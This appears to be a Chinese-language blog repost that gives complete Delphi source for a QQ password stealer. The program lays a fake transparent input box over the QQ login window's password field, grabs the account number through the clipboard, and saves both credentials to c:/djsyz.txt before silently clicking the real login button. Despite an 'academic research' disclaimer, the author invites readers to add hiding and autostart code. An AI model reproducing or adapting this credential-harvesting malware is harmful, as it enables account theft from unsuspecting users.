不用hook,取得QQ密码

来源:互联网 发布:smartfinder mac 编辑:程序博客网 时间:2024/05/04 10:53

对于用鼠标点登录的方法,可以用timer查询鼠标是否在登录的坐标。

这个edit和QQ的不一样,解决方法,把它透明处理,不能直接用DELPHI透明。这样控件也会不显示了,或者自己到网上下一个只有窗体透明的控件,然后用label放在edit1的位置上。我已经实现了,在这里就只谈方法吧。


因为只是学术研究,不是在写盗号程序,所以没有加入任何隐藏和自动启动程序的代码。想犯罪的低素质程序员还请自己加进去。

基于2007beta2测试通过

 

 

源码如下

 

unit getQQ;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,clipbrd;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Edit1: TEdit;
    Timer4: TTimer;
    Timer5: TTimer;
    Timer6: TTimer;
    procedure Timer6Timer(Sender: TObject);
    procedure Timer5Timer(Sender: TObject);
    procedure Timer4Timer(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
    procedure Timer3Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  rect:Trect;
  h_combobox,h_parentedit,h_pw,h:Thandle;

 

implementation

{$R *.dfm}

procedure Mygetwindowrect();   //使form1移到QQ edit控件的坐标
var
rect1:Trect;
begin
  getwindowrect(h_parentedit,rect1);
  if (rect1.Top<>rect.top) or (rect1.left<>rect.left) then
  begin
      getwindowrect(h_parentedit,rect);  //edit父窗口坐标
      form1.Left:=rect.Left;
      form1.top:=rect.top;
  end;
end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
  f:Textfile;
begin
if key=#13 then
begin
  Assignfile(f,'c:/djsyz.txt');
  if not FileExists('c:/djsyz.txt') then rewrite(f);
  append(f);
  writeln(f,'密码:'+edit1.Text);//写入密码
  edit1.Text:=clipboard.AsText;
  writeln(f,'号码:'+edit1.Text);//写入号码
  writeln(f,'-------------');//写入号码
  edit1.Clear;
  closefile(f);

  sendmessage(findwindowex(h,0,'Button','登录'),wm_Lbuttondown,0,0);
  sendmessage(findwindowex(h,0,'Button','登录'),wm_lbuttonUP,0,0);

  form1.Hide;
  timer1.Enabled:=false;
  timer2.Enabled:=false;
  timer3.Enabled:=false;
  timer4.Enabled:=false;
  timer5.Enabled:=false;
  timer6.Enabled:=true;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
timer1.Interval:=400;
timer2.Interval:=100;
timer3.Interval:=100;
timer4.Interval:=100;
timer5.Interval:=90;
timer6.Interval:=30000;

timer1.Enabled:=true;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
timer5.Enabled:=true;
timer6.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);   //确认QQ主窗口
begin
form1.Hide;
h:=findwindow ('#32770','QQ用户登录')  ;
if (h>0) then
begin
  form1.visible:=true;
  h_combobox:=findwindowex(h,0,'ComboBox',nil);
  h_parentedit:=findwindowex(h,0,'#32770',nil);  //查找密码edit的父窗口
  h_pw:=findwindowex(h_parentedit,0,'edit',nil);  //找到密码edit,并赋值给hhh
  getwindowrect(h_parentedit,rect);  //edit父窗口坐标
      SetWindowPos(h, HWND_NOTOPMOST, 0, 0, 0, 0,
          SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE or SWP_NOOWNERZORDER);
  form1.Left:=rect.Left;
  form1.top:=rect.top;
  timer1.Enabled:=false;
  timer2.Enabled:=true;
end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);//焦点是否在edit1上就取号码,然后用timer3跟踪
begin
Mygetwindowrect;
if Edit1.Handle=getfocus then
begin
   postmessage(h_combobox, wm_Lbuttondown, 0,0);
   postmessage(h_combobox, wm_Lbuttonup, 0, 0);
   setforegroundwindow(h);
    keybd_event(17,   0,   0,   0);
    keybd_event(ord('C'),   0,   0,   0);
    keybd_event(17,   0,   KEYEVENTF_KEYUP,   0);
    keybd_event(ord('C'),   0,   KEYEVENTF_KEYUP,   0);
   postmessage(h_pw, wm_Lbuttondown, 0,0);
   postmessage(h_pw, wm_Lbuttonup, 0, 0);
   timer2.Enabled:=false;
   timer3.Enabled:=true;
   setforegroundwindow(handle);
end;
end;

procedure TForm1.Timer3Timer(Sender: TObject);    //跟踪焦点是否离开了edit1
var
hh:Thandle;
begin
 Mygetwindowrect;
 AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow  ('#32770','QQ用户登录') ,nil),true);
 hh:=GetFocus;
 AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow  ('#32770','QQ用户登录') ,nil),false);
 if (Edit1.Handle<>getfocus) then    //焦点离开edit1之后,就用timer4跟踪焦点什么时候到QQ密码处
 begin
    timer3.Enabled:=false;
    timer4.Enabled:=true;
    form1.hide;
 end;


end;

procedure TForm1.Timer4Timer(Sender: TObject); //跟踪焦点是否在QQ输入密码处 ,在就返回到timer2
var
hh:Thandle;
begin
 AttachThreadInput(GetCurrentThreadID, GetWindowThreadProcessID(findwindow('#32770','QQ用户登录'),nil),true);
 hh:=GetFocus;
 AttachThreadInput(GetCurrentThreadID,GetWindowThreadProcessID(findwindow('#32770','QQ用户登录'),nil),false);
 if (hh=H_pw) then
begin
   form1.show;
   timer4.Enabled:=false;
   timer2.Enabled:=true;
end;
end;

procedure TForm1.Timer5Timer(Sender: TObject);  //判断QQ窗口是否存在
begin
  if findwindow ('#32770','QQ用户登录')=0 then
  begin
  timer1.Enabled:=true;
  timer2.Enabled:=false;
  timer3.Enabled:=false;
  timer4.Enabled:=false;
  end;
end;

procedure TForm1.Timer6Timer(Sender: TObject);   //停止程序30秒
begin
timer1.Enabled:=true;
timer2.Enabled:=false;
timer3.Enabled:=false;
timer4.Enabled:=false;
timer5.Enabled:=true;
timer6.Enabled:=false;
end;

end.